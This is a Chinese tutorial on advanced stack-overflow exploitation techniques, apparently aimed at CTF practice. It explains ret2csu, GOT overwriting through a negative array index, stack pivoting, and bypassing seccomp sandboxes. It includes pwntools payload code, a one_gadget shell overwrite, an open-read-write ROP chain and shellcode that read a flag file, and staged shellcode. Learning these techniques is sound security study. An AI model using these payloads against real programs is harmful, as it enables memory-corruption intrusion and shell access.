栈溢出进阶
字数 1320 2025-08-25 22:58:35
栈溢出进阶技术详解
1. ret2csu 技术原理与应用
1.1 基本原理
在64位程序中,函数的前6个参数通过寄存器传递:
- 第1参数:rdi
- 第2参数:rsi
- 第3参数:rdx
- 第4参数:rcx
- 第5参数:r8
- 第6参数:r9
- 第7个及以后的参数存放在栈中
当常规gadget不足时,可以利用__libc_csu_init中的两段代码片段来实现3个参数的传递。
1.2 __libc_csu_init关键代码分析
.text:0000000000401190 __libc_csu_init proc near
.text:0000000000401190 push r15
.text:0000000000401192 mov r15, rdx
.text:0000000000401195 push r14
.text:0000000000401197 mov r14, rsi
.text:000000000040119A push r13
.text:000000000040119C mov r13d, edi
[...]
.text:00000000004011C8 loc_4011C8:
.text:00000000004011C8 mov rdx, r15
.text:00000000004011CB mov rsi, r14
.text:00000000004011CE mov edi, r13d
.text:00000000004011D1 call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
[...]
.text:00000000004011E2 pop rbx
.text:00000000004011E3 pop rbp
.text:00000000004011E4 pop r12
.text:00000000004011E6 pop r13
.text:00000000004011E8 pop r14
.text:00000000004011EA pop r15
.text:00000000004011EC retn
第一段gadget分析(结尾部分):
- 将值pop到rbx寄存器
- 将值pop到rbp寄存器
- 将值pop到r12寄存器
- 将值pop到r13寄存器
- 将值pop到r14寄存器
- 将值pop到r15寄存器
- 返回
第二段gadget分析(中间部分):
- 将r15的值传给rdx
- 将r14的值传给rsi
- 将r13的低32位值传给rdi
- 调用函数(call指令)
- rbx值加1
- 比较rbp和rbx的值
- 不相等则跳转
1.3 利用要点总结
- 利用r13控制rdi
- 利用r14控制rsi
- 利用r15控制rdx
- 将rbx设置为0避免偏移
- 使用call调用函数(应使用GOT表中的地址)
- 设置rbp=rbx+1防止跳转
1.4 示例利用代码
from pwn import *
def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = b'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
return payload
# 使用示例
csu(0, 1, write_got, 1, write_got, 8, main_addr)
2. GOT表覆写与数组越界利用
2.1 GOT表覆写原理
.got.plt相当于.plt的GOT全局偏移表,存放外部函数的入口地址。通过修改这个地址可以改变程序执行流程。
2.2 数组越界原理
当数组下标越过最大索引值时,指针会指向更高地址的栈空间段,实现任意栈空间改写。负数下标则指向更低地址的栈空间段。
2.3 示例利用
# 通过负数下标修改exit的GOT表项
io.sendline(b'-6') # exit_got与seat数组起始地址相差96字节(96/16=6)
io.send(p64(start)) # 将exit改为_start实现无限循环
# 获取read函数地址
read_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = read_addr - libc.symbols['read']
# 使用one_gadget获取shell
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
shell = libc_base + one_gadget[1]
io.send(p64(shell)) # 覆写exit为shell
3. 栈迁移技术
3.1 基本原理
通过将ebp转移到bss或data段,在这些区域构造gadget并执行:
leave相当于mov esp,ebp; pop ebpret相当于pop eip
3.2 利用步骤
- 让esp指向fake ebp1
- 在fake ebp1处写入fake ebp2的地址
- 再次执行leave指令使ebp指向fake ebp2
3.3 示例利用
# 在bss段构造rop链
buf = elf.bss() + 0x150 # 避免覆盖重要数据
# 构造rop链
orw_payload = p64(pop_rdi) + p64(buf + 0x88) + p64(pop_rsi_r15) + p64(0)*2 + p64(open)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(buf + 0x90) + p64(0)
orw_payload += p64(pop_rdx) + p64(0x100) + p64(read)
orw_payload += p64(pop_rdi) + p64(buf + 0x90) + p64(puts_plt) + b'flag\x00aaa'
# 栈迁移payload
payload = cyclic(0x100) + p64(buf - 0x8) + p64(leave_ret)
4. 沙盒绕过技术
4.1 沙盒机制
限制系统调用,通常限制execve等危险调用。
4.2 识别沙盒
-
使用
seccomp-tools工具:seccomp-tools dump ./binary -
代码中常见的沙盒设置方式:
prctl函数调用seccomp库函数
4.3 ORW技术
当execve被禁用时,使用open-read-write组合读取文件:
# ORW shellcode示例
shellcode = asm('''
push 0x67616c66 # 'flag'
mov rdi,rsp # 文件名地址
xor esi,esi # 标志位
push 2
pop rax # open系统调用号
syscall
mov rdi,rax # 文件描述符
mov rsi,rsp # 缓冲区
mov edx,0x100 # 读取长度
xor eax,eax # read系统调用号
syscall
mov edi,1 # stdout
mov rsi,rsp # 缓冲区
push 1
pop rax # write系统调用号
syscall
''')
5. Shellcode技术
5.1 基本使用
当程序提供可执行内存区域时,可以注入shellcode:
# 示例:使用mmap分配的可执行内存
shellcode = asm('''
mov rdi,rax
mov rsi,0xCAFE0010
syscall
nop
''')
5.2 空间受限时的解决方案
当空间不足时,可以分阶段执行:
- 第一阶段:设置寄存器并调用read读取更多数据
- 第二阶段:执行完整的shellcode
# 第一阶段:设置read参数并调用
stage1 = asm('''
mov rdi, 0 # fd = stdin
mov rsi, 0xCAFE0010 # buf
mov rdx, 0x1000 # count
xor eax, eax # syscall number (0 for read)
syscall
jmp rsi # 跳转到新读取的shellcode
''')
6. 实用技巧总结
- 地址泄露:通过泄露GOT表中的函数地址计算libc基址
- ROP链构造:合理利用现有gadget控制参数寄存器
- 栈空间扩展:当空间不足时使用栈迁移技术
- 沙盒绕过:熟悉ORW等替代技术
- 调试技巧:使用gdb验证寄存器状态和内存布局
通过掌握这些技术,可以应对各种栈溢出保护机制,实现有效的漏洞利用。